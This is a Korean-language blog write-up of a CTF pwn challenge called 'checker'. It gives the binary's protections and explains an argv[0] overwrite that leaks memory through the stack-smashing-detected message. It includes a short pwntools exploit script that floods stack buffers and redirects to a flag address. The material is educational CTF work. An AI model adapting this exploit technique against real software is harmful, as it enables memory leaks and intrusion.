#file checker
checker: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=93df47896b068ea44ddcd0b97780375cd589987e, not stripped
[*] '/ctf/checker'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
NX, Canary, Full RELRO 가 걸려있는 64bit 바이너리이다.
해당 바이너리이다. 처음 문제를 풀 때 분석은 크게 어렵지 않았지만 꽤나 고생했다.
read_flag 해주는 함수로 return address 를 변경하면 되는데, canary 로 인해 return address를 컨트롤 할 수 없었다.
그래서 canary leak 벡터를 찾기 위해 분석했지만 찾지 못했다. 검색 중 "stack smashing detected : 파일명" 에서 argv[0] 의 파일명을 조작하여 memory leak 하는 내용을 보게 되어 시도해서 풀어냈다.
# exploit.py
from pwn import *
binary = ELF('./checker')
p = process('./checker')
flag = 0x6010c0
payload = 'C' * 376 + p64(flag)
p.recvuntil('NAME : ')
p.sendline('woosunbi')
# remove return address's null byte
for i in range(8):
print p.recvuntil('>> ')
p.sendline('A' *(384 - i))
print p.recvuntil('>> ')
p.sendline('yes')
print p.recvuntil('FLAG : ')
p.sendline(payload)
p.interactive()
'ctf' 카테고리의 다른 글
[Christmas 2016 CTF] solo (0) | 2017.02.04 |
---|---|
[TJCTF 2016 CTF] oneshot (0) | 2017.01.20 |
[WITHCON 2016 CTF] malloc (0) | 2017.01.17 |
[Defcamp 2016 CTF] warm_heap (0) | 2017.01.14 |
[pwnable.kr] cmd2 (0) | 2017.01.13 |